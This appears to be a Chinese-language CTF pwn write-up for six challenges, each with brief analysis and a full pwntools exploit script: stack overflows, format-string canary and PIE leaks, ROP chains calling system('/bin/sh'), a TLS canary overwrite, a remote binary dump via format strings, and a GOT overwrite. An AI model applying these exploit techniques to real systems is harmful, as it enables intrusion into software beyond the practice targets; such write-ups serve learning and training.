Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

来签个到吧

checksec:

开了全保护 看IDA:

满足v4[27]为0xADDAAAAA时,就能getshell

v4是int类型 所以要填充4*27=0x6C个字节,然后写要求的数字

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
# context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')

p = remote("challenge.bluesharkinfo.com", 21136)
#p = process('./sign')

#gdb.attach(p)
#pause()
p.sendafter("blueshark?\n", b'a' * 0x6c + p64(0xADDAAAAA))


p.interactive()

ez_fmt

checksec:

保护全开,IDA64打开:

能输入两次,第一次有格式化字符串漏洞

同时程序有后门函数:

同时也有全保护,所以在第一次read泄露canary和某个text段的函数来得到PIE偏移,再在第二次read里栈溢出get shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')
p = process('./ez_fmt')
#p = remote("challenge.bluesharkinfo.com", 25954)
gdb.attach(p)

p.sendlineafter(b"input: ", b'%23$p-%25$p')
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
p.recvuntil(b'0x')
PIE_offset = int(p.recv(12), 16) - 0x12FA
print(hex(canary))
print(hex(PIE_offset))
backdoor = PIE_offset + 0x1188
ret_addr = PIE_offset + 0x101a - 0x61
print(hex(backdoor))
print(hex(ret_addr))
pause()
p.sendafter("input: ",b'a' * (0x90 - 8) + p64(canary) + p64(0) + p64(ret_addr) + p64(backdoor))
p.interactive()

ret2rop

checksec:

没开canary和PIE IDA64打开:

函数在执行完read之后还有个异或操作 这里看不出来,但是用pwngdb调试就能看出究竟怎么异或了:

可以看到程序是将frame[0]与frame[20]异或然后放进frame[0]里

这样的操作会对rop以及循环的变量造成破坏,所以需要动态调试将被破坏的rop链用另一种方式可用

这里动调结果是增加一个pop rsi = 0 的gadget来防止n被破坏

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')

p = process('./ret2rop')
p = remote("challenge.bluesharkinfo.com", 29770)
elf = ELF('./ret2rop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#gdb.attach(p)
system_addr = 0x401180
mov_rdi_rsi = 0x0000000000401a25
pop_rsi = 0x0000000000401a1c
p.sendlineafter("demo\n", b'n')
pause()
p.sendlineafter("name\n", b'/bin/sh')

payload = b'a' * 0x20 + p64(0) * 4 + p64(0x80) + p64(0) + b'\x00' * 8 + p64(pop_rsi) + p64(0x80) + p64(pop_rsi) + p64(0x4040F0) + p64(mov_rdi_rsi) + p64(system_addr)
#payload = b'a' * 0x48


pause()
p.sendafter("yourself\n", payload)
p.interactive()

2048

checksec:

没开PIE IDA64查看:

是一个2048游戏 要求玩到十万分

尝试了下找漏洞,发现一次输入极多移动字符会让得分大大提高

此时会进入final:

final自带的shell只能执行ls和exit,strcmp和system都会\x00截断所以不能这样绕过

同时

想法是在第一个在bss段读名字的写入/bin/sh 然后在shell的第一个读取里利用puts泄露canary

再在第二个写入rop

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')

p = process('./ez2048')
p = remote("challenge.bluesharkinfo.com",26973)
pop_rdi_ret = 0x000000000040133e
system_addr = 0x401170
ret_addr = 0x000000000040101a
#gdb.attach(p)


p.sendlineafter("input your name\n>", b'/bin/sh')
p.sendlineafter("start the game", b'a')

sleep(0.1)
p.sendline(b'dsawdsawdsawdsawdsawdsaw' * 250)
sleep(0.1)
p.sendline(b'q')
sleep(0.1)
p.sendline(b'a')
sleep(0.1)
p.sendline(b'dsawdsawdsawdsawdsawdsaw' * 250)
sleep(0.1)
p.sendline(b'q')
sleep(0.1)
p.sendline(b'q')

sleep(3)
#p.sendlineafter("$ ", b'ls\x00;cat flag')
payload = b'a' * (0x89)
p.sendafter("$ ", payload)

p.recvuntil(b'a' * (0x89))
canary = u64(p.recv(7).rjust(8, b'\x00'))
print(hex(canary))
pause()
payload = b'exit\x00aaa' + b'a' * (0x90 - 0x8 - 0x8) + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(0x404a46) + p64(ret_addr) + p64(system_addr)
p.sendafter("$ ", payload)
p.interactive()



#dsawdsawdsawdsawdsawdsaw

金丝雀的诱惑

checksec:

没开PIE IDA64查看

创建了子线程 能溢出特别大的长度 考虑是TLS劫持的canary绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
# context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')
context(log_level='debug',arch='amd64', os='linux')
p = process('./ez_canary')
#p = remote("challenge.bluesharkinfo.com", 27098)
libc = ELF('./libc.so.6')
gdb.attach(p, "set scheduler-locking on")
pause()
p.sendafter("name >>\n", b'a' * 0x190)
#0x727d0:online? 0x947d0:local
p.recvuntil(b'a' * 0x190)
libc_addr = u64(p.recv(6).ljust(8, b'\x00'))- 0x947d0
print(hex(libc_addr + 0x947d0))
print(hex(libc_addr))
pause()
binsh = libc_addr + libc.search('/bin/sh').__next__()
system = libc_addr + libc.sym['system']
rdi = libc_addr+libc.search(asm("pop rdi\nret")).__next__()
ret = 0x000000000040101a
print(hex(system))
print(hex(rdi))
#offset = 0x920
payload = b'a' * 0x110 + p64(0) + p64(rdi) + p64(binsh) + p64(ret) + p64(system) + b'a' * 0x7c8 + p64(0) + p64(1) + p64(libc_addr -0x1ff9c0) + p64(1) + p64(0) + b'a' * 8 * 100
#notes: plus:100 is use for online
p.sendafter("content >>\n", payload)


p.interactive()

这题尽量保持了fs寄存器的不变所以payload后面会有一些按照原样的填充

bad_box

题目没给附件,是一道BROP类型的题

似乎没有fmt

但是输入多些又有了 猜测是对字符串的长度判断决定是否有格式化字符串

经测试在31个字符之后会有fmt 先算出偏移

偏移为8

目前只知道有格式化字符串漏洞但不知道其他漏洞

考虑用在偏移位置写从0x400000的起始地址,利用%s读取该地址的内容,从而泄露ELF文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
# context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')
context(log_level='error',arch='amd64', os='linux')


def dump_file():
offset = 13 #8 + (40 / 8)
header_len = 40
start_addr = 0x400000
end_addr = 0x404000
print(f"[*] 开始稳定 Dump: {hex(start_addr)} -> {hex(end_addr)}")
print("[*] 结果将保存到: dumped_bin")
current_addr = start_addr
f = open('dumped_bin', 'wb')
while current_addr < end_addr:
try:
p = remote("challenge.bluesharkinfo.com", 28079)
p.recvuntil(b'Have fun', drop=True)
p.recv(timeout=0.2)
fmt = f'%{offset}$s||||'.encode()
payload = fmt.ljust(header_len, b'A')
payload += p64(current_addr)

p.sendline(payload)
leak = p.recvuntil(b'||||', drop=True, timeout=2)
p.close()

if not leak:
byte = b'\x00'
else:
byte = leak[0:1]#取第一字节

f.write(byte)#写入
f.flush()
print(f"\r[{hex(current_addr)}] Got: {byte.hex()} ", end='')
current_addr += 1
except KeyboardInterrupt:
break
except Exception as e:
continue
f.close()
print(f"\n\n[+] Dump 完成!文件已保存为 dumped_bin")
print("[+] 请运行: objdump -R dumped_bin 查找 GOT 表")

if __name__ == '__main__':
dump_file()


遍历 0x400000~0x404000 将dump下来的文件用IDA打开

查找程序,有后门函数:

在printf后执行exit(0) 所以想到修改exit的GOT表

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
# context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
# context(arch='amd64', os='linux')
context(log_level='error',arch='amd64', os='linux')


def dump_file():
offset = 13 #8 + (40 / 8)
header_len = 40
start_addr = 0x400000
end_addr = 0x404000
print(f"[*] 开始稳定 Dump: {hex(start_addr)} -> {hex(end_addr)}")
print("[*] 结果将保存到: dumped_bin")
current_addr = start_addr
f = open('dumped_bin', 'wb')
while current_addr < end_addr:
try:
p = remote("challenge.bluesharkinfo.com", 28079)
p.recvuntil(b'Have fun', drop=True)
p.recv(timeout=0.2)
fmt = f'%{offset}$s||||'.encode()
payload = fmt.ljust(header_len, b'A')
payload += p64(current_addr)

p.sendline(payload)
leak = p.recvuntil(b'||||', drop=True, timeout=2)
p.close()

if not leak:
byte = b'\x00'
else:
byte = leak[0:1]#取第一字节

f.write(byte)#写入
f.flush()
print(f"\r[{hex(current_addr)}] Got: {byte.hex()} ", end='')
current_addr += 1
except KeyboardInterrupt:
break
except Exception as e:
continue
f.close()
print(f"\n\n[+] Dump 完成!文件已保存为 dumped_bin")
print("[+] 请运行: objdump -R dumped_bin 查找 GOT 表")

p = remote("challenge.bluesharkinfo.com", 23306)

backdoor = 0x40125B
exit_got = 0x4033A0
payload = b'%' + str(backdoor).encode() + b'c' # %4198993c:length=9
payload += b'%10$ln' + b'\x00'
payload += p64(exit_got)
payload += b'\x00' * 0x20
p.sendafter("Have fun", payload)
p.interactive()


评论